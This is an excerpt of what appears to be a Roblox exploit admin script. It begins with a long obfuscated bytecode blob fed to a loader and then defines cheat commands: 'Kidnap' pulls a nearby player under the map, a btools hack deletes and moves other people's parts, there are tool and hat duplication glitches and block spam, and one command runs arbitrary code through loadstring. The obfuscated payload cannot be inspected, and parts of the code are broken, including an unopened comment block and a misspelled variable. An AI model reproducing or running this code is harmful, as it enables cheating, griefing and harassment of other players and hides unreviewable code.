004001217000B00124O0016000C00094O000F000A000C000200121C000B000A3O002023000B000B0004001217000C00124O0016000D6O000F000B000D00022O0026000C00014O0016000D00094O0016000E000B4O0016000F000A4O0016001000054O0001000C00100001002O20000C3O00132O0008000C00020001002O20000C3O0014001217000E00154O000F000C000E0002002609000C003A0001000100040B3O003A0001002023000C3O0015002O20000C000C00162O0008000C0002000100040B3O003D0001002023000C3O0017002O20000C000C00162O0008000C0002000100121C000C000A3O002023000C000C0004001217000D00184O0016000E00094O000F000C000E000200100D000C0019000900100D000C001A000600100D000C001B000100100D3O000E0004002023000D3O001C00301B000D0010001D2O0002000D000D3O00121C000E00073O002023000E000E001E002023000E000E001F002023000E000E0020002023000E000E0021002023000E000E0022002O20000E000E002300060400103O000100032O00163O00094O00163O000C4O00163O000D4O000F000E001000022O0016000D000E4O001800065O00040B3O005B000100121C000600243O001217000700254O00080006000200012O000A3O00013O00013O00023O0003073O0044657374726F79030A3O00446973636F2O6E656374000A4O00267O002O205O00012O00083O000200012O00263O00013O002O205O00012O00083O000200012O00263O00023O002O205O00022O00083O000200012O000A3O00017O000A3O00F13O00F13O00F13O00F23O00F23O00F23O00F33O00F33O00F33O00F43O005C3O00D13O00D13O00D13O00D13O00D23O00D23O00D43O00D63O00D63O00D73O00D83O00D83O00D83O00D83O00D83O00D83O00D83O00D83O00D93O00DA3O00DA3O00DA3O00DA3O00DB3O00DB3O00DB3O00DB3O00DB3O00DC3O00DD3O00DE3O00DF3O00DF3O00DF3O00DF3O00DF3O00E03O00E03O00E03O00E03O00E03O00E13O00E13O00E13O00E13O00E13O00E13O00E23O00E23O00E33O00E33O00E33O00E33O00E33O00E43O00E43O00E43O00E43O00E63O00E63O00E63O00E83O00E83O00E83O00E83O00E83O00E93O00EA3O00EB3O00EC3O00ED3O00ED3O00EE3O00F03O00F03O00F03O00F03O00F03O00F03O00F03O00F43O00F43O00F43O00F43O00F03O00F43O00F53O00F53O00F73O00F73O00F73O00F93O000E3O0003083O00496E7374616E63652O033O006E657703043O005061727403093O00776F726B737061636503063O00506172656E7403043O004E616D6503083O00506F736974696F6E03043O0053697A6503053O005368617065030C3O005472616E73706172656E6379026O00F03F03083O00416E63686F726564030A3O0043616E436F2O6C6964650100060E3O00121C000600013O002023000600060002001217000700033O00121C000800044O000F00060008000200100D00060005000500100D000600063O00100D00060007000100100D00060008000200100D00060009000300301B0006000A000B00100D0006000C000400301B0006000D000E2O000A3O00017O000E3O00FD3O00FD3O00FD3O00FD3O00FD3O00FE3O00FF4O00012O002O012O0002012O0003012O0004012O0005012O0006012O00063O0003083O00496E7374616E63652O033O006E657703043O0057656C6403053O00506172743003053O00506172743103023O00433004093O00121C000400013O002023000400040002001217000500034O001600066O000F00040006000200100D00040004000100100D00040005000200100D0004000600032O000A3O00017O00093O0008012O0008012O0008012O0008012O0008012O0009012O000A012O000B012O000C012O000F3O0003073O0072752O6E696E672O012O033O0065717503023O00686403083O00506F736974696F6E2O033O00486974030A3O00666F756E64706172747303093O00776F726B7370616365030E3O004765745061727473496E50617274026O00F03F00030E3O0046696E6446697273744368696C6403063O00706C6163657203043O006472616703043O006472756E00203O00121C3O00013O0026273O001F0001000200040B3O001F000100121C3O00033O0026273O001F0001000200040B3O001F000100121C3O00044O002600015O00202300010001000600202300010001000500100D3O0005000100121C3O00083O002O205O000900121C000200044O000F3O000200020012033O00073O00121C3O00073O0020235O000A0026093O001F0001000B00040B3O001F000100121C3O00073O0020235O000A002O205O000C0012170002000D4O000F3O000200020026093O001F0001000B00040B3O001F00010012173O000A3O0012033O000E4O00213O00013O0012033O000F4O000A3O00017O00203O0024012O0024012O0024012O0024012O0024012O0024012O0025012O0025012O0025012O0025012O0025012O0026012O0026012O0026012O0026012O0026012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0027012O0028012O0028012O0029012O0029012O002C012O00043O0003043O0064726167028O00030C3O0054617267657446696C7465722O00053O0012173O00023O0012033O00014O00267O00301B3O000300042O000A3O00017O00053O002E012O002E012O002F012O002F012O0030012O00323O0003073O004B6579436F646503043O00456E756D03013O004203073O0072752O6E696E672O0103053O007072696E7403093O002373746F2O7065642303043O00742O6F6C03073O0044657374726F7903053O00742O6F6C3203053O00742O6F6C3303053O00706169727303043O0067616D6503073O00506C6179657273030B3O004C6F63616C506C6179657203093O00436861726163746572030E3O0047657444657363656E64616E74732O033O0049734103093O00412O63652O736F7279030E3O0046696E6446697273744368696C6403043O0057656C6403063O0048616E646C6503083O00416E63686F72656403043O004E616D65030A3O0043616E436F2O6C696465030A3O0063616E636F2O6C69646503043O0053697A6503073O00566563746F72332O033O006E6577026O66E63F03083O00506F736974696F6E030B3O004F7269656E746174696F6E03043O00722O6F74010003083O0048756D616E6F6964030A3O004175746F526F7461746503043O006472756E03013O00512O033O00616869026O00E03F03013O0045030A3O00666F756E647061727473026O00F03F0003063O00706C6163657203013O005203043O00726F7479025O0080464003013O005403043O00726F7478018E3O00202300013O000100121C000200023O0020230002000200010020230002000200030006150001005B0001000200040B3O005B000100121C000100043O0026270001005B0001000500040B3O005B000100121C000100063O001217000200074O00080001000200012O002100015O001203000100043O00121C000100083O002O200001000100092O000800010002000100121C0001000A3O002O200001000100092O000800010002000100121C0001000B3O002O200001000100092O000800010002000100121C0001000C3O00121C0002000D3O00202300020002000E00202300020002000F002023000200020010002O200002000200112O0019000200036O00013O000300040B3O00530001002O20000600050012001217000800134O000F000600080002002O060006005300013O00040B3O00530001002O20000600050014001217000800154O000F000600080002002O060006005300013O00040B3O00530001002O20000600050014001217000800154O000F000600080002002O200006000600092O0008000600020001002O20000600050014001217000800164O000F00060008000200301B0006001700052O002600065O0020230007000500182O001400060006000700121C0007001A3O00100D0006001900072O002600065O0020230007000500182O00140006000600072O002600075O0020230008000500182O001400070007000800202300070007001B00121C0008001C3O00202300080008001D0012170009001E3O001217000A001E3O001217000B001E4O000F0008000B00022O000E00070007000800100D0006001B00072O002600065O0020230007000500182O001400060006000700202300070005001600202300070007001F00100D0006001F00072O002600065O0020230007000500182O001400060006000700202300070005001600202300070007002000100D00060020000700060C000100200001000200040B3O0020000100121C000100213O00301B0001001700222O0026000100013O00202300010001001000202300010001002300301B00010024000500121C000100253O0026270001008D0001000500040B3O008D000100202300013O000100121C000200023O002023000200020001002023000200020026000615000100670001000200040B3O0067000100121C000100273O00201D000100010028001203000100273O00202300013O000100121C000200023O002023000200020001002023000200020029000615000100700001000200040B3O0070000100121C000100273O00201E000100010028001203000100273O00121C0001002A3O00202300010001002B0026090001008D0001002C00040B3O008D000100121C0001002A3O00202300010001002B002O200001000100140012170003002D4O000F0001000300020026090001008D0001002C00040B3O008D000100202300013O000100121C000200023O00202300020002000100202300020002002E000615000100840001000200040B3O0084000100121C0001002F3O00201E0001000100300012030001002F3O00202300013O000100121C000200023O0020230002000200010020230002000200310006150001008D0001000200040B3O008D000100121C000100323O00201E000100010030001203000100324O000A3O00017O008E3O0038012O0038012O0038012O0038012O0038012O0038012O0039012O0039012O0039012O003A012O003A012O003A012O003B012O003B012O003C012O003C012O003C012O003D012O003D012O003D012O003E012O003E012O003E012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O003F012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0040012O0041012O0041012O0041012O0041012O0041012O0042012O0042012O0042012O0042012O0043012O0043012O0043012O0043012O0043012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0044012O0045012O0045012O0045012O0045012O0045012O0045012O0046012O0046012O0046012O0046012O0046012O0046012O003F012O0047012O0049012O0049012O004A012O004A012O004A012O004A012O004D012O004D012O004D012O004E012O004E012O004E012O004E012O004E012O004E012O004F012O004F012O004F012O0051012O0051012O0051012O0051012O0051012O0051012O0052012O0052012O0052012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0054012O0055012O0055012O0055012O0055012O0055012O0055012O0056012O0056012O0056012O0058012O0058012O0058012O0058012O0058012O0058012O0059012O0059012O0059012O005D012O0054042O00013O00013O00013O00013O00013O00013O00013O00023O00023O00023O00023O00033O00043O00043O00043O00043O00053O00053O00053O00053O00063O00063O00063O00063O00073O00073O00073O00073O00083O00083O00083O00083O00093O00093O00093O00093O000A3O000A3O000A3O000A3O000B3O000B3O000B3O000B3O000C3O000C3O000C3O000C3O000D3O000D3O000D3O000D3O000E3O000E3O000E3O000E3O000F3O000F3O000F3O000F3O000F3O000F3O000F3O00103O00103O00103O00103O00113O00123O00123O00123O00123O00123O00123O00123O00133O00143O00143O00143O00143O00143O00143O00143O00143O00153O00153O00153O00153O00153O00153O00153O00153O00163O00173O00183O00183O00183O00183O00183O00183O00183O00193O001A3O001A3O001A3O001A3O001A3O001A3O001A3O001A3O001B3O001C3O001D3O001E3O001E3O001E3O001E3O001E3O001E3O001E3O001F3O00203O00203O00203O00203O00203O00203O00203O00203O00213O00213O00213O00213O00213O00213O00213O00213O00223O00223O00223O00223O00233O00243O00243O00243O00243O00243O00243O00243O00253O00263O00273O00283O00293O002A3O002A3O002A3O002A3O002A3O002A3O002A3O002B3O002C3O002C3O002C3O002C3O002C3O002C3O002C3O002C3O002D3O002D3O002D3O002D3O002D3O002D3O002D3O002D3O002E3O002E3O002E3O002E3O002F3O00303O00303O00303O00303O00303O00303O00303O00313O00323O00333O00343O00353O00363O00363O00363O00363O00363O00363O00363O00373O00383O00383O00383O00383O00383O00383O00383O00383O00393O00393O00393O00393O00393O00393O00393O00393O003A3O003A3O003A3O003A3O003B3O003C3O003C3O003C3O003C3O003C3O003C3O003C3O003D3O003E3O003F3O003F3O003F3O003F3O00403O00403O00403O00403O00413O00423O00433O00433O00433O00433O00433O00433O00433O00443O00453O00453O00453O00453O00453O00453O00453O00453O00463O00463O00463O00463O00463O00463O00463O00463O00473O00473O00473O00473O00483O00493O00493O00493O00493O00493O00493O00493O004A3O004B3O004C3O004C3O004C3O004C3O004D3O004D3O004D3O004D3O004E3O004F3O00503O00503O00503O00503O00503O00503O00503O00513O00523O00523O00523O00523O00523O00523O00523O00523O00533O00533O00533O00533O00533O00533O00533O00533O00543O00543O00543O00543O00553O00563O00563O00563O00563O00563O00563O00563O00573O00583O00593O00593O00593O00593O005A3O005A3O005A3O005A3O005B3O005C3O005D3O005D3O005D3O005D3O005D3O005D3O005D3O005E3O005F3O005F3O005F3O005F3O005F3O005F3O005F3O005F3O00603O00603O00603O00603O00603O00603O00603O00603O00613O00613O00613O00613O00623O00633O00633O00633O00633O00633O00633O00633O00643O00653O00663O00663O00663O00663O00673O00673O00673O00673O00683O00693O006A3O006A3O006A3O006A3O006A3O006A3O006A3O006B3O006C3O006C3O006C3O006C3O006C3O006C3O006C3O006C3O006D3O006D3O006D3O006D3O006D3O006D3O006D3O006D3O006E3O006E3O006E3O006E3O006F3O00703O00703O00703O00703O00703O00703O00703O00713O00723O00733O00733O00733O00733O00743O00743O00743O00743O00753O00763O00773O00773O00773O00773O00773O00773O00773O00783O00793O00793O00793O00793O00793O00793O00793O00793O007A3O007A3O007A3O007A3O007A3O007A3O007A3O007A3O007B3O007B3O007B3O007B3O007C3O007D3O007D3O007D3O007D3O007D3O007D3O007D3O007E3O007F3O00803O00803O00803O00803O00813O00813O00813O00813O00823O00823O00823O00823O00833O00843O00843O00843O00843O00843O00843O00843O00853O00853O00853O00853O00853O00853O00853O00863O00873O00873O00873O00873O00873O00873O00873O00873O00883O00883O00883O00883O00883O00883O00883O00883O00893O00893O00893O00893O008A3O008B3O008B3O008B3O008B3O008B3O008B3O008B3O008C3O008D3O008E3O008F3O008F3O00913O00913O008F3O00923O00923O00923O00923O00923O00923O00923O00923O00923O00933O00933O00943O00943O00953O00953O00953O00953O00953O00953O00953O00953O00953O00963O00963O00963O00963O00963O00963O00973O00973O00983O00983O00983O00983O00983O00983O00983O00983O00983O00993O00993O00993O00993O00993O00993O00993O00993O009A3O009A3O009B3O009B3O009B3O009B3O009B3O009C3O009C3O009C3O009C3O009C3O009D3O00A03O00A03O009D3O00A13O00A13O00A13O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A23O00A33O00A33O00A33O00A33O00A33O00A33O00A33O00A33O00A43O00A43O00A43O00A43O00A43O00A43O00A63O00A63O00A43O00A73O00A23O00A73O00A93O00A93O00A93O00AA3O00AA3O00AA3O00AA3O00AB3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AC3O00AD3O00AD3O00AD3O00AD3O00AD3O00AE3O00AF3O00AF3O00AF3O00AF3O00AF3O00AC3O00B03O00B23O00B23O00B33O00B33O00B33O00B33O00B43O00B43O00B43O00B43O00B43O00B33O00B43O00B63O00B63O00B63O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B73O00B83O00B83O00B93O00B93O00B93O00B93O00BA3O00BB3O00BB3O00BC3O00BC3O00BC3O00BC3O00BC3O00BC3O00BC3O00CC3O00CD3O00CD3O00CD3O00CD3O00CD3O00CE3O00CF3O00CF3O00F93O00F93O00F93O00F93O00F93O00FB3O00FB3O00FB3O00FB3O00FB3O0006012O000C012O000D012O000D012O000D012O000E012O000E012O000E012O000F012O000F012O0010012O0010012O0010012O0010012O0010012O0010012O0010012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0011012O0012012O0012012O0012012O0012012O0012012O0013012O0013012O0013012O0013012O0013012O0014012O0014012O0014012O0014012O0014012O0015012O0015012O0015012O0015012O0015012O0015012O0015012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0016012O0017012O0017012O0018012O0018012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O0019012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001A012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001B012O001C012O0011012O001D012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O001F012O0020012O0020012O0021012O0021012O0022012O0022012O0023012O0023012O002C012O002C012O0023012O002D012O002D012O0030012O0030012O002D012O0031012O0031012O0032012O0032012O0032012O0033012O0033012O0034012O0034012O0035012O0035012O0036012O0036012O0036012O0036012O0037012O0037012O005D012O005D012O005D012O0037012O005E012O005E012O005E012O005E012O005E012O005F012O005F012O005F012O005F012O005F012O0060012O0060012O0061012O0061012O0063012O0063012O0063012O0064012O0066012O0066012O0066012O0067012O0067012O0067012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O0069012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006A012O006B012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006D012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O006E012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0070012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0071012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0072012O0073012O0073012O0073012O0073012O0075012O0075012O0075012O0075012O0075012O0075012O0075012O0075012O0077012O0077012O0078012O007A012O007A012O007C012O007C012O007C012O007C012O007C012O007D012O007D012O007D012O007F012O007F012O0080012O0082012O0082012O0084012O0084012O0084012O0084012O0084012O0084012O0084012O0084012O0085012O0085012O0085012O0085012O0085012O0085012O0087012O0087012O0087012O0087012O0087012O0088012O0088012O0088012O008A012O008A012O008B012O008D012O008D012O008F012O008F012O008F012O008F012O008F012O008F012O008F012O008F012O0090012O0090012O0090012O0090012O0090012O0090012O0091012O0093012O0093012O0093012O0093012O0093012O0094012O0094012O0094012O0094012O0094012O0095012O0095012O0096012O0097012O00",v8()); |
794 | end) |
795 | |
796 | cmd.add({"Kidnap"}, {"Kidnap", "Kidnaps a player (Stand near them and press z)"}, function() |
797 | game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(key) |
798 | if key == 'z' then |
799 | local h = game.Players.LocalPlayer.Character.Humanoid:Clone() |
800 | local plr = game.Players.LocalPlayer.Character |
801 | local CF = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame |
802 | local lp = game.Players.LocalPlayer |
803 | |
804 | h.Parent = game.Players.LocalPlayer.Character |
805 | h.Name = "Hum" |
806 | |
807 | game.Players.LocalPlayer.Character.Humanoid:Destroy() |
808 | |
809 | for _,v in pairs(game.Players.LocalPlayer:GetDescendants()) do |
810 | if v.ClassName == "Tool" then |
811 | v.Parent = plr |
812 | end |
813 | end |
814 | wait(.5) |
815 | tweenService, tweenInfo = game:GetService("TweenService"), TweenInfo.new(150, Enum.EasingStyle.Linear) |
816 | |
817 | tween = tweenService:Create(game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart, tweenInfo, {CFrame = CFrame.new(0, -1000, 0)}) |
818 | tween:Play() |
819 | end |
820 | end) |
821 | end) |
822 | |
823 | |
824 | cmd.add({"unanchoredbtools"}, {"unanchoredbtools", "Gives some btools options, only works on unanchored parts!"}, function() |
825 | |
826 | FE Custom BTools V2 | Script made by Cyclically |
827 | BTools will only replicate on unanchored parts |
828 | https://v3rmillion.net/member.php?action=profile&uid=785986 |
829 | Don't edit script unless you know what you're doing. If you wanna add this into a script, please give credits and message me on discord that you added it in a script at Cyclically#4905 |
830 | ]] |
831 | |
832 | local LocalPlayer = game:GetService("Players").LocalPlayer |
833 | local mouse = LocalPlayer:GetMouse() |
834 | local movetool = Instance.new("Tool", LocalPlayer.Backpack) |
835 | local deletetool = Instance.new("Tool", LocalPlayer.Backpack) |
836 | local undotool = Instance.new("Tool", LocalPlayer.Backpack) |
837 | local identifytool = Instance.new("Tool", LocalPlayer.Backpack) |
838 | local movedetect = false |
839 | local movingpart = nil |
840 | local movetransparency = 0 |
841 | if editedparts == nil then |
842 | editedparts = {} |
843 | parentfix = {} |
844 | positionfix = {} |
845 | end |
846 | deletetool.Name = "Delete" |
847 | undotool.Name = "Undo" |
848 | identifytool.Name = "Identify" |
849 | movetool.Name = "Move" |
850 | undotool.CanBeDropped = false |
851 | deletetool.CanBeDropped = false |
852 | identifytool.CanBeDropped = false |
853 | movetool.CanBeDropped = false |
854 | undotool.RequiresHandle = false |
855 | deletetool.RequiresHandle = false |
856 | identifytool.RequiresHandle = false |
857 | movetool.RequiresHandle = false |
858 | local function createnotification(title, text) |
859 | game:GetService("StarterGui"):SetCore("SendNotification", { |
860 | Title = title; |
861 | Text = text; |
862 | Duration = 1; |
863 | }) |
864 | end |
865 | deletetool.Activated:Connect(function() |
866 | createnotification("Delete Tool", "You have deleted "..mouse.Target.Name) |
867 | table.insert(editedparts, mouse.Target) |
868 | table.insert(parentfix, mouse.Target.Parent) |
869 | table.insert(positionfix, mouse.Target.CFrame) |
870 | spawn(function() |
871 | local deletedpart = mouse.Target |
872 | repeat |
873 | deletedpart.Anchored = true |
874 | deletedpart.CFrame = CFrame.new(1000000000, 1000000000, 1000000000) |
875 | wait() |
876 | until deletedpart.CFrame ~= CFrame.new(1000000000, 1000000000, 1000000000) |
877 | end) |
878 | end) |
879 | undotool.Activated:Connect(function() |
880 | createnotification("Undo Tool", "You have undone "..editedparts[#editedparts].Name) |
881 | editedparts[#editedparts].Parent = parentfix[#parentfix] |
882 | editedparts[#editedparts].CFrame = positionfix[#positionfix] |
883 | table.remove(positionfix, #positionfix) |
884 | table.remove(editedparts, #editedparts) |
885 | table.remove(parentfix, #parentfix) |
886 | end) |
887 | identifytool.Activated:Connect(function() |
888 | createnotification("Identify Tool", "Instance: "..mouse.Target.ClassName.."\nName: "..mouse.Target.Name) |
889 | end) |
890 | movetool.Activated:Connect(function() |
891 | createnotification("Move Tool", "You are moving: "..mouse.Target.Name) |
892 | movingpart = mouse.Target |
893 | movedetect = true |
894 | movingpart.CanCollide = false |
895 | movetransparency = movingpart.Transparency |
896 | movingpart.Transparency = 0.5 |
897 | mouse.TargetFilter = movingpart |
898 | table.insert(editedparts, movingpart) |
899 | table.insert(parentfix, movingpart.Parent) |
900 | table.insert(positionfix, movingpart.CFrame) |
901 | movingpart.Transparency = movingpart.Transparency / 2 |
902 | repeat |
903 | mouse.Move:Wait() |
904 | movingpart.CFrame = CFrame.new(mouse.Hit.p) |
905 | until movedetect == false |
906 | end) |
907 | movetool.Deactivated:Connect(function() |
908 | createnotification("Move Tool", "You have stopped moving: "..mouse.Target.Name) |
909 | movingpart.CanCollide = true |
910 | movedetect = false |
911 | mouse.TargetFilter = nil |
912 | movingpart.Transparency = movetransparenc |
913 | end) |
914 | end) |
915 | |
916 | |
917 | cmd.add({"hatsleash", "hl"}, {"hatsleash", "Makes you be able to carry your hats"}, function() |
918 | for _, v in pairs(game.Players.LocalPlayer.Character:getChildren()) do |
919 | if v.ClassName == "Accessory" then |
920 | for i, k in pairs(v:GetDescendants()) do |
921 | if k.ClassName == "Attachment" then |
922 | s = Instance.new("RopeConstraint") |
923 | k.Parent.CanCollide = true |
924 | s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart |
925 | s.Attachment1 = k |
926 | s.Attachment0 = game.Players.LocalPlayer.Character.Head.FaceCenterAttachment |
927 | s.Visible = true |
928 | s.Length = 10 |
929 | v.Handle.AccessoryWeld:Destroy() |
930 | end |
931 | end |
932 | end |
933 | end |
934 | end) |
935 | |
936 | cmd.add({"toolleash", "tl"}, {"toolleash", "Makes you be able to carry your tools"}, function() |
937 | for _,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do |
938 | v.Parent = game.Players.LocalPlayer.Character |
939 | end |
940 | |
941 | for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do |
942 | if v.ClassName == "Tool" then |
943 | x = Instance.new("Attachment") |
944 | s = Instance.new("RopeConstraint") |
945 | v.Handle.CanCollide = true |
946 | x.Parent = v.Handle |
947 | s.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart |
948 | s.Attachment1 = game.Players.LocalPlayer.Character["Right Arm"].RightGripAttachment |
949 | s.Attachment0 = v.Handle.Attachment |
950 | s.Length = 100 |
951 | s.Visible = true |
952 | wait() |
953 | end |
954 | end |
955 | |
956 | for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do |
957 | if v.Name == "RightGrip" then |
958 | v:Destroy() |
959 | end |
960 | end |
961 | |
962 | while wait() do |
963 | for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do |
964 | if v.ClassName == "Tool" then |
965 | v.Handle.Velocity = Vector3.new(math.random(-100, 100), 5, math.random(-100, 100)) |
966 | end |
967 | end |
968 | end |
969 | end) |
970 | |
971 | cmd.add({"connectevents", "enableevents"}, {"connectevents <instance> <event>", "Enable the given instance's connections to the event"}, function(objDir, event) |
972 | local obj = loadstring("return " .. objDir)() |
973 | local events = getconnections(obj[event]) |
974 | for _, connection in pairs(events) do |
975 | connection:Enable() |
976 | end |
977 | end) |
978 | |
979 | wrap(function() |
980 | |
981 | end) |
982 | |
983 | |
984 | local function respawn() |
985 | character:ClearAllChildren() |
986 | local newChar = Instance.new("Model", workspace) |
987 | local hum = Instance.new("Humanoid", newChar) |
988 | local torso = Instance.new("Part", newChar) |
989 | newChar.Name = "respawn_" |
990 | torso.Name = "Torso" |
991 | torso.Transparency = 1 |
992 | player.Character = newChar |
993 | newChar:MoveTo(Vector3.new(999999, 999999, 999999)) |
994 | torso.Name = "" |
995 | torso.CanCollide = false |
996 | end |
997 | |
998 | local function refresh() |
999 | local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head") |
1000 | if p then |
1001 | cf = p.CFrame |
1002 | end |
1003 | respawn() |
1004 | player.CharacterAdded:Wait(); wait(0.2); |
1005 | character:WaitForChild("HumanoidRootPart").CFrame = cf |
1006 | end |
1007 | |
1008 | local abort = 0 |
1009 | local function getTools(amt) |
1010 | if not amt then amt = 1 end |
1011 | local toolAmount, grabbed = 0, {} |
1012 | local lastCF = character.PrimaryPart.CFrame |
1013 | local ab = abort |
1014 | |
1015 | for i, v in pairs(localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren()) do |
1016 | if v:IsA("BackpackItem") then |
1017 | toolAmount = toolAmount + 1 |
1018 | end |
1019 | end |
1020 | if toolAmount >= amt then return localPlayer:FindFirstChildWhichIsA("Backpack"):GetChildren() end |
1021 | if not localPlayer:FindFirstChildWhichIsA("Backpack"):FindFirstChildWhichIsA("BackpackItem") then return end |
1022 | |
1023 | repeat |
1024 | repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort |
1025 | backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1026 | wrap(function() |
1027 | repeat wait() until backpack:FindFirstChildWhichIsA("BackpackItem") |
1028 | for _, tool in pairs(backpack:GetChildren()) do |
1029 | if #grabbed >= amt or ab ~= abort then break end |
1030 | if tool:IsA("BackpackItem") then |
1031 | tool.Parent = localPlayer |
1032 | table.insert(grabbed, tool) |
1033 | end |
1034 | end |
1035 | end) |
1036 | |
1037 | respawn() |
1038 | wait(.1) |
1039 | until |
1040 | #grabbed >= amt or ab ~= abort |
1041 | |
1042 | repeat wait() until localPlayer.Character and tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character == character |
1043 | wait(.2) |
1044 | |
1045 | repeat wait() until localPlayer:FindFirstChildWhichIsA("Backpack") or ab ~= abort |
1046 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
1047 | for _, tool in pairs(grabbed) do |
1048 | if tool:IsA("BackpackItem") then |
1049 | tool.Parent = backpack |
1050 | end |
1051 | end |
1052 | wrap(function() |
1053 | repeat wait() until character.PrimaryPart |
1054 | wait(.2) |
1055 | character:SetPrimaryPartCFrame(lastCF) |
1056 | end) |
1057 | wait(.2) |
1058 | return grabbed |
1059 | end |
1060 | |
1061 | cmd.add({"notoolscripts", "nts"}, {"notoolscripts", "Destroy all scripts in backpack"}, function() |
1062 | local bp = player:FindFirstChildWhichIsA("Backpack") |
1063 | for _, item in pairs(bp:GetChildren()) do |
1064 | for _, obj in pairs(item:GetDescendants()) do |
1065 | if obj:IsA("LocalScript") or obj:IsA("Script") then |
1066 | obj.Disabled = true |
1067 | obj:Destroy() |
1068 | end |
1069 | end |
1070 | end |
1071 | end) |
1072 | |
1073 | cmd.add({"clonetools", "dupetools"}, {"clonetools [amount]", "Clone your tools by the given amount"}, function(amt) |
1074 | amt = tonumber(amt) or 1 |
1075 | getTools(math.clamp(amt, 1, 100)) |
1076 | end) |
1077 | |
1078 | cmd.add({"abort"}, {"abort", "Abort most indefinite operations"}, function(amt) |
1079 | abort = abort + 1 |
1080 | end) |
1081 | |
1082 | cmd.add({"blockspam"}, {"blockspam [amount]", "Spawn blocks by the given amount"}, function(amt) |
1083 | amt = tonumber(amt) or 1 |
1084 | local hatAmount, grabbed = 0, {} |
1085 | local lastCF = character.PrimaryPart.CFrame |
1086 | character:ClearAllChildren() |
1087 | respawn() |
1088 | repeat |
1089 | if character.Name ~= "respawn_" then |
1090 | local c = character |
1091 | repeat wait() until c:FindFirstChildWhichIsA("Accoutrement") |
1092 | c:MoveTo(lastCF.p) |
1093 | wait(1) |
1094 | for i, v in pairs(c:GetChildren()) do |
1095 | if v:IsA("Accoutrement") then |
1096 | v:WaitForChild("Handle") |
1097 | v.Handle.CanCollide = true |
1098 | if v:FindFirstChildWhichIsA("DataModelMesh", true) then |
1099 | v:FindFirstChildWhichIsA("DataModelMesh", true):Destroy() |
1100 | end |
1101 | v.Parent = workspace |
1102 | table.insert(grabbed, v) |
1103 | end |
1104 | end |
1105 | hatAmount = hatAmount + 1 |
1106 | end |
1107 | character:ClearAllChildren() |
1108 | respawn() |
1109 | wait() |
1110 | until |
1111 | hatAmount >= amt |
1112 | |
1113 | repeat wait() until tostring(localPlayer.Character) ~= "respawn_" and localPlayer.Character |
1114 | wait(0.5) |
1115 | |
1116 | spawn(function() |
1117 | repeat wait() until character.PrimaryPart |
1118 | wait(0.2) |
1119 | character:SetPrimaryPartCFrame(lastCF) |
1120 | |
1121 | for _, item in pairs(grabbed) do |
1122 | if item:IsA("Accoutrement") and item:FindFirstChild("Handle") then |
1123 | item.Parent = workspace |
1124 | wait() |
1125 | end |
1126 | end |
1127 | end) |
1128 | end) |
1129 | |
1130 | cmd.add({"toolblockspam"}, {"toolblockspam [amount]", "Spawn blocks by the given amount"}, function(amt) |
1131 | if not amt then amt = 1 end |
1132 | amt = tonumber(amt) |
1133 | local tools = getTools(amt) |
1134 | for i, tool in pairs(tools) do |
1135 | wait() |
1136 | spawn(function() |
1137 | wait(0.5) |
1138 | tool.Parent = character |
1139 | tool.CanBeDropped = true |
1140 | wait(0.4) |
1141 | for _, mesh in pairs(tool:GetDescendants()) do |
1142 | if mesh:IsA("DataModelMesh") then |
1143 | mesh:Destroy() |
1144 | end |
1145 | end |
1146 | for _, weld in pairs(character:GetDescendants()) do |
1147 | if weld.Name == "RightGrip" then |
1148 | weld:Destroy() |
1149 | end |
1150 | end |
1151 | wait(0.1) |
1152 | tool.Parent = workspace |
1153 | end) |
1154 | end |
1155 | end) |
1156 | |
1157 | cmd.add({"clonehats", "dupehats"}, {"clonehats [amount]", "Clone your hats by the given amount"}, function(amt) |
1158 | amt = tonumber(amt) or 1 |
